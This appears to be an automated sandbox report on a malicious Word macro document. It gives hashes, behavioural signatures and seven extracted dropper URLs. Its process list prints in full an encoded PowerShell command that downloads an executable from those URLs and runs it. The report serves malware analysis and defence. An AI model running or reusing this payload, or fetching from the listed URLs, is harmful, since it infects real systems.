Analysis
-
max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
-
submitted
24/08/2024, 05:13
General
-
Target
bdf43321f26e04464b0851fa8d265403_JaffaCakes118.doc
-
Size
161KB
-
MD5
bdf43321f26e04464b0851fa8d265403
-
SHA1
a0da832b9935003d6a421f45277b92d5438ef15b
-
SHA256
a279b3d82c086e59725b814eb8f6ddde5387efb28b19f197dcb6a82e239f9906
-
SHA512
4fe63c035b0eef3df1a6ce6a87c380c6859b78f131de199a274451a3c55bd811210f9f344f3eefaf2136154fe1ad5a15d70455e834c582f76554e4c1e15967c3
-
SSDEEP
3072:tJVffe3dY9jAcD22TWTogk079THcpOu5UZg9jxzEtZ8jgeeE:tjffe3S5D/TX07hHcJQ2xz+Z0geeE
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://guitarsforisrael.org/QPOUUYxLBk/1nprgf/
exe.dropper
http://sadanandpvc.com/twitter/BssXB/
exe.dropper
http://help-m2c.eccang.com/pseovck27kr/T/
exe.dropper
http://youtube-monetization.com/qrnsp/2v/
exe.dropper
http://ahrgintl.com/alfacgiapi/jg1VUae/
exe.dropper
http://helionspharmaceutical.com/wp-admin/Xg/
exe.dropper
http://hanulmotors.com/nbqso/H0DdOyB/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 1 IoCs
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bdf43321f26e04464b0851fa8d265403_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exePOWeRsHeLL -ENCOD JABVAGoAeQB4AHIAcQBlAD0AKAAnAEYAcAAnACsAKAAnAHIAJwArACcAZwBlACcAKQArACcAcAB1ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBGAGkATABlAFwAcwA0AFgAZAAwADIAMABcAFMAZQBNAFcANABwAHEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAEMAYABVAHIASQB0AHkAYABwAHIATwBUAE8AYABjAGAATwBsACIAIAA9ACAAKAAnAHQAJwArACgAJwBsAHMAMQAnACsAJwAyACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAMQAxACcAKQArACcALAAgACcAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQATgBoAGQAZABpADYAZgAgAD0AIAAoACgAJwBCAHgAJwArACcAcABhACcAKQArACcAMQAnACsAKAAnAHoAJwArACcAeAA2ACcAKQApADsAJABTAGUAcAB5ADgAawBkAD0AKAAoACcAWgAnACsAJwBrAF8AZwAnACkAKwAnAHQAeQAnACsAJwBqACcAKQA7ACQAUABkADgANQB1AGEAdAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ACcAKwAnADAAfQBTADQAJwArACcAeABkADAAMgAwAHsAMAAnACsAJwB9AFMAJwArACgAJwBlAG0AdwAnACsAJwA0ACcAKQArACcAcAAnACsAJwBxAHsAMAB9ACcAKQAgACAALQBGACAAWwBDAGgAYQByAF0AOQAyACkAKwAkAE4AaABkAGQAaQA2AGYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEoANwB0AGoANABkAGsAPQAoACgAJwBVAHUAJwArACcAZgBfACcAKQArACgAJwBxAG8AJwArACcAZQAnACkAKQA7ACQATAB2ADUAawAxAG4AawA9ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAHQALgBXAEUAYgBDAGwAaQBFAE4AVAA7ACQASAAyAHMAXwBuAGgAdAA9ACgAJwBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoAJwArACcALwAvACcAKwAoACcAZwAnACsAJwB1AGkAJwApACsAJwB0AGEAJwArACcAcgAnACsAKAAnAHMAJwArACcAZgBvACcAKQArACgAJwByAGkAJwArACcAcwAnACkAKwAnAHIAJwArACcAYQBlACcAKwAoACcAbAAnACsAJwAuAG8AJwApACsAKAAnAHIAJwArACcAZwAvAFEAUAAnACsAJwBPAFUAJwApACsAJwBVAFkAJwArACgAJwB4ACcAKwAnAEwAQgBrACcAKQArACcALwAxACcAKwAoACcAbgBwAHIAJwArACcAZwBmACcAKQArACcALwAnACsAKAAnACoAaAAnACsAJwB0AHQAcAA6AC8ALwAnACsAJwBzAGEAZAAnACsAJwBhAG4AYQAnACkAKwAnAG4AJwArACcAZAAnACsAKAAnAHAAdgAnACsAJwBjACcAKQArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AdAAnACsAJwB3ACcAKwAnAGkAdAAnACkAKwAoACcAdABlAHIAJwArACcALwBCACcAKQArACgAJwBzACcAKwAnAHMAWAAnACsAJwBCAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8ALwBoAGUAbABwACcAKwAnAC0AbQAyAGMALgAnACsAJwBlACcAKwAnAGMAJwArACcAYwBhAG4AZwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwBwACcAKwAnAHMAJwApACsAKAAnAGUAJwArACcAbwB2AGMAawAyACcAKQArACgAJwA3AGsAJwArACcAcgAnACkAKwAoACcALwBUACcAKwAnAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHkAbwAnACsAJwB1AHQAdQBiACcAKwAnAGUALQBtAG8AbgBlAHQAaQAnACkAKwAnAHoAYQAnACsAJwB0AGkAJwArACgAJwBvAG4AJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0ALwAnACkAKwAoACcAcQByAG4AcwAnACsAJwBwAC8AMgAnACkAKwAnAHYAJwArACcALwAnACsAKAAnACoAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AYQAnACkAKwAnAGgAJwArACcAcgAnACsAKAAnAGcAJwArACcAaQBuAHQAJwApACsAKAAnAGwALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBhAGwAZgBhACcAKwAnAGMAJwArACcAZwAnACkAKwAoACcAaQBhAHAAaQAvACcAKwAnAGoAZwAnACkAKwAoACcAMQBWACcAKwAnAFUAJwApACsAJwBhAGUAJwArACgAJwAvACcAKwAnACoAaAB0AHQAJwApACsAKAAnAHAAOgAvACcAKwAnAC8AaAAnACsAJwBlAGwAaQBvAG4AcwAnACkAKwAoACcAcABoACcAKwAnAGEAcgAnACkAKwAnAG0AJwArACgAJwBhAGMAZQAnACsAJwB1AHQAaQBjAGEAJwApACsAKAAnAGwALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwB3ACcAKwAnAHAALQAnACsAJwBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAC8AJwApACsAJwBYACcAKwAoACcAZwAnACsAJwAvACoAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAGgAYQAnACkAKwAoACcAbgB1AGwAbQAnACsAJwBvACcAKQArACgAJwB0AG8AJwArACcAcgBzAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAnAC8AJwArACcAbgBiACcAKQArACcAcQAnACsAKAAnAHMAJwArACcAbwAvACcAKQArACgAJwBIADAAJwArACcARABkAE8AeQAnACsAJwBCAC8AJwApACkALgAiAHMAUABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQB0ADMAbQB6AHcAbAA9ACgAKAAnAEoAJwArACcAcABlAGUAJwArACcAdgBuACcAKQArACcAdAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABLAGgAMgBlADQAbQAzACAAaQBuACAAJABIADIAcwBfAG4AaAB0ACkAewB0AHIAeQB7ACQATAB2ADUAawAxAG4AawAuACIARABgAE8AVwBuAGwAbwBBAGAAZABGAGkAYABMAEUAIgAoACQASwBoADIAZQA0AG0AMwAsACAAJABQAGQAOAA1AHUAYQB0ACkAOwAkAEUAbQBuADUAZAB2AGwAPQAoACgAJwBWACcAKwAnADcANwAnACkAKwAnAG0AZQAnACsAJwBlAGsAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFAAZAA4ADUAdQBhAHQAKQAuACIAbABgAGUATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMgAyADkAOAApACAAewAuACgAJwBJACcAKwAnAG4AdgBvAGsAJwArACcAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABQAGQAOAA1AHUAYQB0ACkAOwAkAEoAbgBhADgAOQBfADIAPQAoACgAJwBLADcAJwArACcAbgAnACkAKwAoACcAXwBnAF8AJwArACcAcAAnACkAKQA7AGIAcgBlAGEAawA7ACQARQA1AGUAYQBsAHQAaQA9ACgAKAAnAEUAcwAnACsAJwA1ADIAMABfACcAKQArACcAagAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AMABoAF8AdABjAGkAPQAoACgAJwBQAGoAJwArACcAegB6ACcAKQArACgAJwAwAHcAJwArACcAeQAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
19KB
MD582098d76c0797b3336c332eeff7c8833
SHA132dc06b9ef4ee987891c5a1fde13515821721dde
SHA256c970b42dcd057c29be96f5ef2c3a63bb067937f33e9b420ec55784009acf05c0
SHA51206ee37754e0c11f7047491f2103cd91df1de6929a5a58e02ffdeb736e07da2714961ac954397f28d954bc81e4d8d21b07c9b9d2e8043d6bd0135786b497194f1
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
64KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
32KB
-
Filesize
2.9MB